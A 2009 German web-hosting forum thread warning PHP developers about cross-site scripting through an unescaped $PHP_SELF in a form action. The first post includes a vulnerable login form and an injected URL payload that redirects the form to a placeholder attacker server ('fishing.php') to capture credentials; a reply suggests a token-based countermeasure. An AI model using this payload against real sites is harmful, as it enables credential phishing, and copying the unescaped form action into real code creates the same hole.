kostenloser Webspace werbefrei: lima-city


XSS bei $PHP_SELF

lima-cityForumProgrammiersprachenPHP, MySQL & .htaccess

  1. Autor dieses Themas

    dammasch

    Kostenloser Webspace von dammasch, auf Homepage erstellen warten

    dammasch hat kostenlosen Webspace.

    Wer den Befehl $PHP_SELF nutzt sollte darauf achten nicht Opfer eines XSS-Angriffes zu werden!
    Hier mal ein Beispiel:
    <form method="post" action="<? echo $PHP_SELF; ?>">
    <input type="text" name="name"><br>
    <input type="password" name="pw"><br>
    <input type="submit" value="Login">
    </form>

    Das Script liegt auf folgender URL:
    http://localhost/ordner/test.php

    Fügt man nun folgenden Code an die URL an, können jegliche Daten auf einer fremden Datenbank gespeichert werden:
    /"></form><font color="red">Die Seite wurder per XSS geknackt!</font><form action="server_des_crackers/fishing.php

    http://localhost/ordner/test.php/"></form><font color="red">Die Seite wurder per XSS geknackt!</font><form action="server_des_crackers/fishing.php

    Überlegt also lieber 2x ob ihr $PHP_SELF wirklich verwenden wollt ;-)

    Beitrag zuletzt geändert: 29.7.2009 11:40:09 von dammasch
  2. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage

  3. weiser ratschlag!
    mann soll - auch wenn register_globals auf off ist - aus sicherheitsgründen userinput extra behandeln (filtern). eine möglichkeit für <form>-en ist z.b.:
    $salt    = "loremipsum"; // oder irgendein text
    $token   = md5 (uniqid (rand ()), true);
    $id      = md5 ($salt . md5 ($token . md5 ($salt)));	// das ist ordentlich verzwickt :o)
    
    $timeout = ($t = time ()) + 60 * 2; // oder nach eigenem ermessen
    und dann <form> so:
    echo "
    <form method=\"post\" action=\"<was auch immer!?>\">
    	<input type=\"hidden\" name=\"saltedid\" value=\"$id\"><br />
    	<input type=\"text\" name=\"name\" /><br />
    	<input type=\"password\" name=\"pw\" /><br />
    	<input type=\"submit\" value=\"Login\" />
    </form>
    ";
    zumal ja der user weder $salt noch $token kennt, wird er probleme haben mit der eigenen <form>, weil wir natürlich von den ankommenden daten verlangen, sich mit UNSEREM $id auszuweisen. hinterfotzig wie wir sind, lassen das ding nach gewisser zeit auch noch verfallen. dann kann der cracker von anfang an loslegen. viel spass!
    (quelle: http://shiflett.org/ mit etwas umarbeitung von mir <http://czibere.lima-city.de/jvcz/> )

    Beitrag zuletzt geändert: 31.7.2009 1:36:59 von czibere
  4. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage

Dir gefällt dieses Thema?

Über lima-city

Login zum Webhosting ohne Werbung!